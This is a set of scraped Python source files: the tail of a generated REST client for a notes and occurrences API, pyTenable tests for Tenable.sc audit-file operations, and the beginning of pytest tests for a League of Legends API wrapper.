'/v1alpha1/{name=projects/*/notes/*}/occurrences', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiListNoteOccurrencesResponse', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def list_notes(self, parent, **kwargs): # noqa: E501 """Lists all `Notes` for a given project. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.list_notes(parent, async_req=True) >>> result = thread.get() :param async_req bool :param str parent: This field contains the project ID for example: \"projects/{project_id}\". (required) :param str filter: The filter expression. :param int page_size: Number of notes to return in the list. :param str page_token: Token to provide to skip to a particular spot in the list. :return: ApiListNotesResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.list_notes_with_http_info(parent, **kwargs) # noqa: E501 else: (data) = self.list_notes_with_http_info(parent, **kwargs) # noqa: E501 return data def list_notes_with_http_info(self, parent, **kwargs): # noqa: E501 """Lists all `Notes` for a given project. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.list_notes_with_http_info(parent, async_req=True) >>> result = thread.get() :param async_req bool :param str parent: This field contains the project ID for example: \"projects/{project_id}\". (required) :param str filter: The filter expression. :param int page_size: Number of notes to return in the list. :param str page_token: Token to provide to skip to a particular spot in the list. :return: ApiListNotesResponse If the method is called asynchronously, returns the request thread. """ all_params = ['parent', 'filter', 'page_size', 'page_token'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method list_notes" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'parent' is set if ('parent' not in params or params['parent'] is None): raise ValueError("Missing the required parameter `parent` when calling `list_notes`") # noqa: E501 collection_formats = {} path_params = {} if 'parent' in params: path_params['parent'] = params['parent'] # noqa: E501 query_params = [] if 'filter' in params: query_params.append(('filter', params['filter'])) # noqa: E501 if 'page_size' in params: query_params.append(('page_size', params['page_size'])) # noqa: E501 if 'page_token' in params: query_params.append(('page_token', params['page_token'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1alpha1/{parent=projects/*}/notes', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiListNotesResponse', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def list_occurrences(self, parent, **kwargs): # noqa: E501 """Lists active `Occurrences` for a given project matching the filters. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.list_occurrences(parent, async_req=True) >>> result = thread.get() :param async_req bool :param str parent: This contains the project Id for example: projects/{project_id}. (required) :param str filter: The filter expression. :param int page_size: Number of occurrences to return in the list. :param str page_token: Token to provide to skip to a particular spot in the list. :return: ApiListOccurrencesResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.list_occurrences_with_http_info(parent, **kwargs) # noqa: E501 else: (data) = self.list_occurrences_with_http_info(parent, **kwargs) # noqa: E501 return data def list_occurrences_with_http_info(self, parent, **kwargs): # noqa: E501 """Lists active `Occurrences` for a given project matching the filters. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.list_occurrences_with_http_info(parent, async_req=True) >>> result = thread.get() :param async_req bool :param str parent: This contains the project Id for example: projects/{project_id}. (required) :param str filter: The filter expression. :param int page_size: Number of occurrences to return in the list. :param str page_token: Token to provide to skip to a particular spot in the list. :return: ApiListOccurrencesResponse If the method is called asynchronously, returns the request thread. """ all_params = ['parent', 'filter', 'page_size', 'page_token'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method list_occurrences" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'parent' is set if ('parent' not in params or params['parent'] is None): raise ValueError("Missing the required parameter `parent` when calling `list_occurrences`") # noqa: E501 collection_formats = {} path_params = {} if 'parent' in params: path_params['parent'] = params['parent'] # noqa: E501 query_params = [] if 'filter' in params: query_params.append(('filter', params['filter'])) # noqa: E501 if 'page_size' in params: query_params.append(('page_size', params['page_size'])) # noqa: E501 if 'page_token' in params: query_params.append(('page_token', params['page_token'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1alpha1/{parent=projects/*}/occurrences', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiListOccurrencesResponse', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def update_note(self, name, body, **kwargs): # noqa: E501 """Updates an existing `Note`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.update_note(name, body, async_req=True) >>> result = thread.get() :param async_req bool :param str name: The name of the note. Should be of the form \"projects/{provider_id}/notes/{note_id}\". (required) :param ApiNote body: The updated note. (required) :return: ApiNote If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.update_note_with_http_info(name, body, **kwargs) # noqa: E501 else: (data) = self.update_note_with_http_info(name, body, **kwargs) # noqa: E501 return data def update_note_with_http_info(self, name, body, **kwargs): # noqa: E501 """Updates an existing `Note`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.update_note_with_http_info(name, body, async_req=True) >>> result = thread.get() :param async_req bool :param str name: The name of the note. Should be of the form \"projects/{provider_id}/notes/{note_id}\". (required) :param ApiNote body: The updated note. (required) :return: ApiNote If the method is called asynchronously, returns the request thread. """ all_params = ['name', 'body'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method update_note" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'name' is set if ('name' not in params or params['name'] is None): raise ValueError("Missing the required parameter `name` when calling `update_note`") # noqa: E501 # verify the required parameter 'body' is set if ('body' not in params or params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `update_note`") # noqa: E501 collection_formats = {} path_params = {} if 'name' in params: path_params['name'] = params['name'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1alpha1/{name=projects/*/notes/*}', 'PATCH', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiNote', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def update_occurrence(self, name, body, **kwargs): # noqa: E501 """Updates an existing occurrence. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.update_occurrence(name, body, async_req=True) >>> result = thread.get() :param async_req bool :param str name: The name of the occurrence. Should be of the form \"projects/{project_id}/occurrences/{OCCURRENCE_ID}\". (required) :param ApiOccurrence body: The updated occurrence. (required) :return: ApiOccurrence If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.update_occurrence_with_http_info(name, body, **kwargs) # noqa: E501 else: (data) = self.update_occurrence_with_http_info(name, body, **kwargs) # noqa: E501 return data def update_occurrence_with_http_info(self, name, body, **kwargs): # noqa: E501 """Updates an existing occurrence. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.update_occurrence_with_http_info(name, body, async_req=True) >>> result = thread.get() :param async_req bool :param str name: The name of the occurrence. Should be of the form \"projects/{project_id}/occurrences/{OCCURRENCE_ID}\". (required) :param ApiOccurrence body: The updated occurrence. (required) :return: ApiOccurrence If the method is called asynchronously, returns the request thread. """ all_params = ['name', 'body'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method update_occurrence" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'name' is set if ('name' not in params or params['name'] is None): raise ValueError("Missing the required parameter `name` when calling `update_occurrence`") # noqa: E501 # verify the required parameter 'body' is set if ('body' not in params or params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `update_occurrence`") # noqa: E501 collection_formats = {} path_params = {} if 'name' in params: path_params['name'] = params['name'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1alpha1/{name=projects/*/occurrences/*}', 'PATCH', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiOccurrence', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def update_operation(self, name, body, **kwargs): # noqa: E501 """Updates an existing operation returns an error if operation does not exist. The only valid operations are to update mark the done bit change the result. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.update_operation(name, body, async_req=True) >>> result = thread.get() :param async_req bool :param str name: The name of the Operation. Should be of the form \"projects/{provider_id}/operations/{operation_id}\". (required) :param ApiUpdateOperationRequest body: (required) :return: GooglelongrunningOperation If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.update_operation_with_http_info(name, body, **kwargs) # noqa: E501 else: (data) = self.update_operation_with_http_info(name, body, **kwargs) # noqa: E501 return data def update_operation_with_http_info(self, name, body, **kwargs): # noqa: E501 """Updates an existing operation returns an error if operation does not exist. The only valid operations are to update mark the done bit change the result. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.update_operation_with_http_info(name, body, async_req=True) >>> result = thread.get() :param async_req bool :param str name: The name of the Operation. Should be of the form \"projects/{provider_id}/operations/{operation_id}\". (required) :param ApiUpdateOperationRequest body: (required) :return: GooglelongrunningOperation If the method is called asynchronously, returns the request thread. """ all_params = ['name', 'body'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method update_operation" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'name' is set if ('name' not in params or params['name'] is None): raise ValueError("Missing the required parameter `name` when calling `update_operation`") # noqa: E501 # verify the required parameter 'body' is set if ('body' not in params or params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `update_operation`") # noqa: E501 collection_formats = {} path_params = {} if 'name' in params: path_params['name'] = params['name'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/v1alpha1/{name=projects/*/operations/*}', 'PATCH', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='GooglelongrunningOperation', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats)

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ca8c7da4b34d4a9566857faa1271d5b2fb84dfa2

18,803

py

Python

tests/sc/test_audit_files.py

39biradar/pyTenable

a055140bc864bb950fd1053ab598ff2da12cf408

[ "MIT" ]

null

tests/sc/test_audit_files.py

39biradar/pyTenable

a055140bc864bb950fd1053ab598ff2da12cf408

[ "MIT" ]

null

tests/sc/test_audit_files.py

39biradar/pyTenable

a055140bc864bb950fd1053ab598ff2da12cf408

[ "MIT" ]

null

import os import pytest from ..checker import check from tenable.errors import APIError, UnexpectedValueError from tests.pytenable_log_handler import log_exception def test_audit_files_constructor_name_typeerror(sc, vcr): with pytest.raises(TypeError): sc.audit_files._constructor(name=1) with vcr.use_cassette('test_files_upload_clear_success'): with open('audit-file.xml', 'w+') as file: with pytest.raises(TypeError): sc.audit_files.create(name=1, audit_file=file) os.remove('audit-file.xml') with vcr.use_cassette('test_files_upload_clear_success'): with open('tailoring-file.xml', 'w+') as file: with pytest.raises(TypeError): sc.audit_files.create(name=1, tailoring_file=file) os.remove('tailoring-file.xml') with vcr.use_cassette('test_files_upload_clear_success'): with open('audit-file.xml', 'w+') as file: with pytest.raises(TypeError): sc.audit_files.edit(1, name=1, audit_file=file) os.remove('audit-file.xml') with vcr.use_cassette('test_files_upload_clear_success'): with open('tailoring-file.xml', 'w+') as file: with pytest.raises(TypeError): sc.audit_files.edit(1, name=1, tailoring_file=file) os.remove('tailoring-file.xml') def test_audit_files_constructor_description_typeerror(sc): with pytest.raises(TypeError): sc.audit_files._constructor(description=1) def test_audit_files_constructor_type_typeerror(sc): with pytest.raises(TypeError): sc.audit_files._constructor(type=1) def test_audit_files_constructor_type_unexpectedvalueerror(sc): with pytest.raises(UnexpectedValueError): sc.audit_files._constructor(type='something else') def test_audit_files_constructor_template_typeerror(sc): with pytest.raises(TypeError): sc.audit_files._constructor(template='one') def test_audit_files_constructor_vars_typeerror(sc): with pytest.raises(TypeError): sc.audit_files._constructor(vars='one') def test_audit_files_constructor_vars_key_typeerror(sc): with pytest.raises(TypeError): sc.audit_files._constructor(vars={1: 'one'}) def test_audit_files_constructor_vars_value_typeerror(sc): with pytest.raises(TypeError): sc.audit_files._constructor(vars={'one': 1}) def test_audit_files_constructor_filename_typeerror(sc): with pytest.raises(TypeError): sc.audit_files._constructor(filename=1) def test_audit_files_constructor_orig_filename_typeerror(sc): with pytest.raises(TypeError): sc.audit_files._constructor(orig_filename=1) def test_audit_files_constructor_version_typeerror(sc): with pytest.raises(TypeError): sc.audit_files._constructor(version=1) def test_audit_files_constructor_version_unexpectedvalueerror(sc): with pytest.raises(UnexpectedValueError): sc.audit_files._constructor(version='0.9') def test_audit_files_constructor_benchmark_typeerror(sc): with pytest.raises(TypeError): sc.audit_files._constructor(benchmark=1) def test_audit_files_constructor_profile_typeerror(sc): with pytest.raises(TypeError): sc.audit_files._constructor(profile=1) def test_audit_files_constructor_data_stream_typeerror(sc): with pytest.raises(TypeError): sc.audit_files._constructor(data_stream=1) def test_audit_files_constructor_tailoring_filename_typeerror(sc): with pytest.raises(TypeError): sc.audit_files._constructor(tailoring_filename=1) def test_audit_files_constructor_tailoring_orig_filename_typeerror(sc): with pytest.raises(TypeError): sc.audit_files._constructor(tailoring_orig_filename=1) def test_audit_files_constructor_success(sc): af = sc.audit_files._constructor( name='name', description='description', type='', template=1, vars={ 'example': 'one', }, filename='test.audit', orig_filename='orig.audit', version='1.0', benchmark='benchmark', profile='profile', data_stream='datastream', tailoring_filename='tf.audit', tailoring_orig_filename='orig-tf.audit' ) assert af == { 'name': 'name', 'description': 'description', 'filename': 'test.audit', 'originalFilename': 'orig.audit', 'version': '1.0', 'benchmarkName': 'benchmark', 'profileName': 'profile', 'dataStreamName': 'datastream', 'tailoringFilename': 'tf.audit', 'tailoringOriginalFilename': 'orig-tf.audit', 'variables': [{'name': 'example', 'value': 'one'}], 'auditFileTemplate': {'id': 1}, 'type': '', } @pytest.fixture def audit_file(request, sc, vcr): with vcr.use_cassette('test_audit_files_create_success'): audit_file = sc.audit_files.create('Example', template=162, vars={ 'BANNER_TEXT': '', 'NTP_SERVER_1': '4.2.2.2', 'NTP_SERVER_2': '192.168.0.1', 'NTP_SERVER_3': '192.168.0.1', 'INTERNAL_NETWORK': '192.168.', 'HOSTS_ALLOW_NETWORK': '192.168.', 'LOG_SERVER': '192.168.0.1', }) def teardown(): try: with vcr.use_cassette('test_audit_files_delete_success'): sc.audit_files.delete(int(audit_file['id'])) except APIError as error: log_exception(error) request.addfinalizer(teardown) return audit_file def test_audit_files_create_success(sc, audit_file): assert isinstance(audit_file, dict) check(audit_file, 'auditFileTemplate', dict) check(audit_file['auditFileTemplate'], 'id', str) check(audit_file['auditFileTemplate'], 'name', str) check(audit_file['auditFileTemplate'], 'categoryName', str) check(audit_file, 'canManage', str) check(audit_file, 'canUse', str) check(audit_file, 'context', str) check(audit_file, 'createdTime', str) check(audit_file, 'creator', dict) check(audit_file['creator'], 'id', str) check(audit_file['creator'], 'username', str) check(audit_file['creator'], 'firstname', str) check(audit_file['creator'], 'lastname', str) check(audit_file, 'description', str) check(audit_file, 'editor', str) check(audit_file, 'filename', str) check(audit_file, 'groups', list) check(audit_file, 'id', str) check(audit_file, 'lastRefreshedTime', str) check(audit_file, 'modifiedTime', str) check(audit_file, 'name', str) check(audit_file, 'originalFilename', str) check(audit_file, 'owner', dict) check(audit_file['owner'], 'id', str) check(audit_file['owner'], 'username', str) check(audit_file['owner'], 'firstname', str) check(audit_file['owner'], 'lastname', str) check(audit_file, 'ownerGroup', dict) check(audit_file['ownerGroup'], 'id', str) check(audit_file['ownerGroup'], 'name', str) check(audit_file['ownerGroup'], 'description', str) check(audit_file, 'status', str) check(audit_file, 'targetGroup', dict) check(audit_file['targetGroup'], 'id', int) check(audit_file['targetGroup'], 'name', str) check(audit_file['targetGroup'], 'description', str) check(audit_file, 'type', str) check(audit_file, 'typeFields', dict) check(audit_file['typeFields'], 'variables', list) for variable in audit_file['typeFields']['variables']: check(variable, 'name', str) check(variable, 'value', str) check(audit_file, 'version', str) @pytest.mark.vcr() def test_audit_files_delete_success(sc, audit_file): sc.audit_files.delete(int(audit_file['id'])) @pytest.mark.vcr() def test_audit_files_edit_success(sc, audit_file): audit_file = sc.audit_files.edit(int(audit_file['id']), name='updates name') assert isinstance(audit_file, dict) check(audit_file, 'auditFileTemplate', dict) check(audit_file['auditFileTemplate'], 'id', str) check(audit_file['auditFileTemplate'], 'name', str) check(audit_file['auditFileTemplate'], 'categoryName', str) check(audit_file, 'canManage', str) check(audit_file, 'canUse', str) check(audit_file, 'context', str) check(audit_file, 'createdTime', str) check(audit_file, 'creator', dict) check(audit_file['creator'], 'id', str) check(audit_file['creator'], 'username', str) check(audit_file['creator'], 'firstname', str) check(audit_file['creator'], 'lastname', str) check(audit_file, 'description', str) check(audit_file, 'editor', str) check(audit_file, 'filename', str) check(audit_file, 'groups', list) check(audit_file, 'id', str) check(audit_file, 'lastRefreshedTime', str) check(audit_file, 'modifiedTime', str) check(audit_file, 'name', str) check(audit_file, 'originalFilename', str) check(audit_file, 'owner', dict) check(audit_file['owner'], 'id', str) check(audit_file['owner'], 'username', str) check(audit_file['owner'], 'firstname', str) check(audit_file['owner'], 'lastname', str) check(audit_file, 'ownerGroup', dict) check(audit_file['ownerGroup'], 'id', str) check(audit_file['ownerGroup'], 'name', str) check(audit_file['ownerGroup'], 'description', str) check(audit_file, 'status', str) check(audit_file, 'targetGroup', dict) check(audit_file['targetGroup'], 'id', int) check(audit_file['targetGroup'], 'name', str) check(audit_file['targetGroup'], 'description', str) check(audit_file, 'type', str) check(audit_file, 'typeFields', dict) check(audit_file['typeFields'], 'variables', list) for variable in audit_file['typeFields']['variables']: check(variable, 'name', str) check(variable, 'value', str) check(audit_file, 'version', str) @pytest.mark.vcr() def test_audit_files_details_success_for_fields(sc, audit_file): audit_file = sc.audit_files.details(int(audit_file['id']), fields=['id', 'name', 'description']) assert isinstance(audit_file, dict) check(audit_file, 'id', str) check(audit_file, 'name', str) check(audit_file, 'description', str) @pytest.mark.vcr() def test_audit_files_details_success(sc, audit_file): audit_file = sc.audit_files.details(int(audit_file['id'])) assert isinstance(audit_file, dict) check(audit_file, 'auditFileTemplate', dict) check(audit_file['auditFileTemplate'], 'id', str) check(audit_file['auditFileTemplate'], 'name', str) check(audit_file['auditFileTemplate'], 'categoryName', str) check(audit_file, 'canManage', str) check(audit_file, 'canUse', str) check(audit_file, 'context', str) check(audit_file, 'createdTime', str) check(audit_file, 'creator', dict) check(audit_file['creator'], 'id', str) check(audit_file['creator'], 'username', str) check(audit_file['creator'], 'firstname', str) check(audit_file['creator'], 'lastname', str) check(audit_file, 'description', str) check(audit_file, 'editor', str) check(audit_file, 'filename', str) check(audit_file, 'groups', list) check(audit_file, 'id', str) check(audit_file, 'lastRefreshedTime', str) check(audit_file, 'modifiedTime', str) check(audit_file, 'name', str) check(audit_file, 'originalFilename', str) check(audit_file, 'owner', dict) check(audit_file['owner'], 'id', str) check(audit_file['owner'], 'username', str) check(audit_file['owner'], 'firstname', str) check(audit_file['owner'], 'lastname', str) check(audit_file, 'ownerGroup', dict) check(audit_file['ownerGroup'], 'id', str) check(audit_file['ownerGroup'], 'name', str) check(audit_file['ownerGroup'], 'description', str) check(audit_file, 'status', str) check(audit_file, 'targetGroup', dict) check(audit_file['targetGroup'], 'id', int) check(audit_file['targetGroup'], 'name', str) check(audit_file['targetGroup'], 'description', str) check(audit_file, 'type', str) check(audit_file, 'typeFields', dict) check(audit_file['typeFields'], 'variables', list) for variable in audit_file['typeFields']['variables']: check(variable, 'name', str) check(variable, 'value', str) check(audit_file, 'version', str) @pytest.mark.vcr() def test_audit_files_list_success(sc): a_files = sc.audit_files.list() assert isinstance(a_files, dict) for file_type in ['usable', 'manageable']: for type in a_files[file_type]: check(type, 'name', str) check(type, 'description', str) check(type, 'type', str) check(type, 'status', str) check(type, 'id', str) @pytest.mark.vcr() def test_audit_files_list_success_for_fields(sc): audit_files = sc.audit_files.list(fields=('id', 'name', 'description')) assert isinstance(audit_files, dict) for c in ['usable', 'manageable']: for a in audit_files[c]: check(a, 'name', str) check(a, 'description', str) check(a, 'id', str) @pytest.mark.vcr() def test_audit_files_export_audit(sc): with open('1000007.xml', 'wb') as file: sc.audit_files.export_audit(1000007, fobj=file) os.remove('1000007.xml') @pytest.mark.vcr() def test_audit_files_export_audit_no_file(sc): with open('1000007.xml', 'wb'): sc.audit_files.export_audit(1000007) os.remove('1000007.xml') @pytest.mark.vcr() def test_audit_files_template_details_success(sc): template = sc.audit_files.template_details(1, fields=['id', 'name', 'categoryName', 'categoryId']) assert isinstance(template, dict) check(template, 'id', str) check(template, 'name', str) check(template, 'categoryName', str) check(template, 'categoryId', str) @pytest.mark.vcr() def test_audit_files_template_list_success(sc): templates = sc.audit_files.template_list(fields=['id', 'name', 'categoryName', 'categoryId'], category=1, search='categoryName:Unix') assert isinstance(templates, list) for template in templates: check(template, 'id', str) check(template, 'name', str) check(template, 'categoryName', str) check(template, 'categoryId', str) @pytest.mark.vcr() def test_audit_files_template_categories(sc): categories = sc.audit_files.template_categories() assert isinstance(categories, list) for category in categories: check(category, 'categoryName', str) check(category, 'categoryId', str) @pytest.mark.vcr() def test_audit_files_list_success_for_fields(sc): audit_files = sc.audit_files.list(fields=('id', 'name', 'description')) assert isinstance(audit_files, dict) for c in ['usable', 'manageable']: for a in audit_files[c]: check(a, 'name', str) check(a, 'description', str) check(a, 'id', str) @pytest.mark.vcr() def test_audit_files_export_audit(sc): with open('1000007.xml', 'wb') as file: sc.audit_files.export_audit(1000007, fobj=file) os.remove('1000007.xml') @pytest.mark.vcr() def test_audit_files_export_audit_no_file(sc): with open('1000007.xml', 'wb'): sc.audit_files.export_audit(1000007) os.remove('1000007.xml') @pytest.mark.vcr() def test_audit_files_template_details_success(sc): template = sc.audit_files.template_details(1, fields=['id', 'name', 'categoryName', 'categoryId']) assert isinstance(template, dict) check(template, 'id', str) check(template, 'name', str) check(template, 'categoryName', str) check(template, 'categoryId', str) @pytest.mark.vcr() def test_audit_files_template_list_success(sc): templates = sc.audit_files.template_list(fields=['id', 'name', 'categoryName', 'categoryId'], category=1, search='categoryName:Unix') assert isinstance(templates, list) for template in templates: check(template, 'id', str) check(template, 'name', str) check(template, 'categoryName', str) check(template, 'categoryId', str) @pytest.mark.vcr() def test_audit_files_template_categories(sc): categories = sc.audit_files.template_categories() assert isinstance(categories, list) for category in categories: check(category, 'categoryName', str) check(category, 'categoryId', str) @pytest.mark.vcr() def test_audit_files_list_success_for_fields(sc): audit_files = sc.audit_files.list(fields=('id', 'name', 'description')) assert isinstance(audit_files, dict) for c in ['usable', 'manageable']: for a in audit_files[c]: check(a, 'name', str) check(a, 'description', str) check(a, 'id', str) @pytest.mark.vcr() def test_audit_files_export_audit(sc): with open('1000007.xml', 'wb') as file: sc.audit_files.export_audit(1000007, fobj=file) os.remove('1000007.xml') @pytest.mark.vcr() def test_audit_files_export_audit_no_file(sc): with open('1000007.xml', 'wb'): sc.audit_files.export_audit(1000007) os.remove('1000007.xml') @pytest.mark.vcr() def test_audit_files_template_details_success(sc): template = sc.audit_files.template_details(1, fields=['id', 'name', 'categoryName', 'categoryId']) assert isinstance(template, dict) check(template, 'id', str) check(template, 'name', str) check(template, 'categoryName', str) check(template, 'categoryId', str) @pytest.mark.vcr() def test_audit_files_template_list_success(sc): templates = sc.audit_files.template_list(fields=['id', 'name', 'categoryName', 'categoryId'], category=1, search='categoryName:Unix') assert isinstance(templates, list) for template in templates: check(template, 'id', str) check(template, 'name', str) check(template, 'categoryName', str) check(template, 'categoryId', str) @pytest.mark.vcr() def test_audit_files_template_categories(sc): categories = sc.audit_files.template_categories() assert isinstance(categories, list) for category in categories: check(category, 'categoryName', str) check(category, 'categoryId', str)

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0.653566

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0.13712

0.898625

0.871795

0.863474

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0.795551

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0.013757

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36.369439

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0.102564

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0

null

0

1

0

1

0

null

0

7

049f72425e50d469aed857ba2155ea2bcd0d4188

4,385

py

Python

test/test_league.py

dp0973/pantheon

89ac57717ed3cf6532986069b6c94228be273b8b

[ "MIT" ]

52

2018-04-24T15:30:02.000Z

2022-02-22T11:05:27.000Z

test/test_league.py

dp0973/pantheon

89ac57717ed3cf6532986069b6c94228be273b8b

[ "MIT" ]

8

2020-09-18T04:00:21.000Z

2022-03-22T00:01:20.000Z

test/test_league.py

dp0973/pantheon

89ac57717ed3cf6532986069b6c94228be273b8b

[ "MIT" ]

14

2019-01-03T13:09:36.000Z

2022-03-05T17:13:45.000Z

from .config import * def test_leagueId(): try: data = loop.run_until_complete(panth.getLeagueById(leagueId)) except Exception as e: print(e) assert data["leagueId"] == leagueId assert type(data["entries"]) == list @pytest.mark.skipif(too_early, reason="Too early in the season") def test_apex_challenger(): try: data = loop.run_until_complete(panth.getChallengerLeague()) except Exception as e: print(e) assert data["tier"] == "CHALLENGER" assert data["queue"] == "RANKED_SOLO_5x5" assert type(data["entries"]) == list @pytest.mark.skipif(too_early, reason="Too early in the season") def test_apex_challenger_flex(): try: data = loop.run_until_complete(panth.getChallengerLeague("RANKED_FLEX_SR")) except Exception as e: print(e) assert data["tier"] == "CHALLENGER" assert data["queue"] == "RANKED_FLEX_SR" assert type(data["entries"]) == list @pytest.mark.skipif(too_early, reason="Too early in the season") def test_apex_grandmaster(): try: data = loop.run_until_complete(panth.getGrandmasterLeague()) except Exception as e: print(e) assert data["tier"] == "GRANDMASTER" assert data["queue"] == "RANKED_SOLO_5x5" assert type(data["entries"]) == list @pytest.mark.skipif(too_early, reason="Too early in the season") def test_apex_grandmaster_flex(): try: data = loop.run_until_complete(panth.getGrandmasterLeague("RANKED_FLEX_SR")) except Exception as e: print(e) assert data["tier"] == "GRANDMASTER" assert data["queue"] == "RANKED_FLEX_SR" assert type(data["entries"]) == list @pytest.mark.skipif(too_early, reason="Too early in the season") def test_apex_master(): try: data = loop.run_until_complete(panth.getMasterLeague()) except Exception as e: print(e) assert data["tier"] == "MASTER" assert data["queue"] == "RANKED_SOLO_5x5" assert type(data["entries"]) == list @pytest.mark.skipif(too_early, reason="Too early in the season") def test_apex_master_flex(): try: data = loop.run_until_complete(panth.getMasterLeague("RANKED_FLEX_SR")) 